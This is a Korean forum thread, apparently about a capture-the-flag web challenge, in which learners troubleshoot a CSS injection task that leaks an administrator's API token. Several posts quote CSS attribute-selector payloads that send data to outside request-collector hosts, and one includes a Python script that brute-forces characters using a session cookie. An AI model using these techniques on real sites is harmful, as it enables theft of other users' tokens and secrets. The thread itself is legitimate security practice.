CSS Injection

파이썬으로 스크립트를 작성하고 시도하니 한 8글자를 추리하고 나니 500에러로 계속해서 서버가 요청을 제한하는 거 같아요. 시간을 아무리 기다려도 똑같구요 .

CSS Injection 문제다 보니까 CSS 코드를 삽입해서 실행시키려고 하는데 코드가 실행될만한 곳이 안보입니다... 힌트 가능한가요...?

ㅠㅠ

CSS injection 은 해보니까 터지는데 문제는 해당 접속 계정이 아니라 administrator의 계정의 값을 가져와야하는데 해답은 report에 있는듯 한데 report에 대한 사용법을 잘 모르겠습니다.. path 통해서 경로 주면 될 듯 한데 잘 안돼서.. 방향성이 필요합니다. ㅠㅠ 참고할만한 자료나 문제 팁 주시면 정말 감사하겠습니다. 가이드나 레퍼런스좀 정말정말 부탁드립니다. 다른 문제 리포트는 사용 했는데 이건 잘 안되네요..ㅠㅠㅠㅠㅠㅠㅠㅠ

path=%2Fmypage%3Fcolor%3Dblack%3B%7Dinput%5Bvalue%5E%3Dadmim%5D%7Bbackground%3Aurl%28https%3A%2F%2Fen07a3sgcv3mft.x.pipedream.net%2Fping-back%29%3B%7D 파라미터를 mypage?color=black;}input[value^=admi]{background:url( ... );} 으로 하고 전송하면 4글자 정도까지는 알아내지는데 4글자 이후에는 알파벳 전부 해봐도 응답이 안 오는데 단순한 서버 버그일까요??? 안 되어서 파이썬 코드로 자동화를 돌렸더니 자동화에서는 모든 글자 탐색이 가능하네요..

해당 문제에 들어갈수 있는 모든 사이트의 <style>란에 az, AZ, 1~9까지 input[value^=]{background: }를 이용해 다 넣어보았지만 아무것도 얻지 못했습니다. 지금 이문제를 푸는 방법이 blind sql injection처럼 하나하나 대입해가면서 풀어야 하는 문제인거 같은대 이게 맞는지 모르겠네요.... 이게 제가 맞다면 get으로 받는 페이지가 있다거나 아니면 다른 무작위 대입할 부분이 있을꺼 같은대 전혀 보이지 않네요 10시간동안 벽을 향해 주먹질 하고있는 기분입니다......... 제가 지금 제대로 하고있는거 맞나요??

안녕하세요 문제는 풀었는데 질문있어서 글 작성합니다 일단 API Token을 가져와야한다는걸 파악해서 mypage에서 잘 작동하나 시험할려고 아래 코드를 짜봤습니다. from requests import get from tqdm import tqdm host = "http://host3.dreamhack.games:18582" strings = "abcdefghijklmnopqrstuvwxyz" cookie = {'session' : 'eyJ1aWQiOjMsInVzZXJuYW1lIjoiZ3Vlc3QifQ.ZpjuBQ.1kv9vUVX0h68xRqn9hRF3rNrCQY'} for s in tqdm(strings): query = "white;} inputid=InputApitoken {background: url(https://gaqsbus.request.dreamhack.games/"+s+")" r = get(f"{host}/mypage?color={query}", cookies = cookie) print(s) 그런데 이 payload로 웹상에서 그냥 url에 복붙해서 하면 요청이 잘 들어오는데 파이썬 코드로 위와같이 짜고 돌려보면 요청이 안들어오더라구요....? 혹시 해서 r.text도 확인해봤는데 style태그엔 페이로드가 잘 들어간걸 확인했습니다. /report로 post요청 보내는 코드를 짜서 해보면 요건또 요청이 잘 들어와서 일단 풀긴 풀었는데 혹시 위 코드 어느 부분에서 잘못된건지 알 수 있을까요?

이 문제에는 report탭이 있습니다 report탭에는 admin이 접속하는데 사용자 아이디가 admin이면 Ping Back을 하라고 시키고 싶습니다 훈수 부탁드립니다 /mypage?color=red; } input[id=InputUsername] [value=admin] { background : url(https:// image.png

css를 사용하는게 background_color 함수밖에 안 보이는데, report 탭에서 ?color=yellow;} inputusername=administrator {background: url("https://ursyyxf.request.dreamhack.games/")}; 와 같이 작성해서 token을 a~z까지 돌려도 아무 일이 일어나지 않습니다. 어떤 요소에 접근하고 어떻게 작성해야 토큰을 얻을 수 있는지 전혀 감이 오지 않습니다.

CSS Injection으로 API token 얻은 후에 어떤 식으로 접근해야하는지 모르곘습니다 !!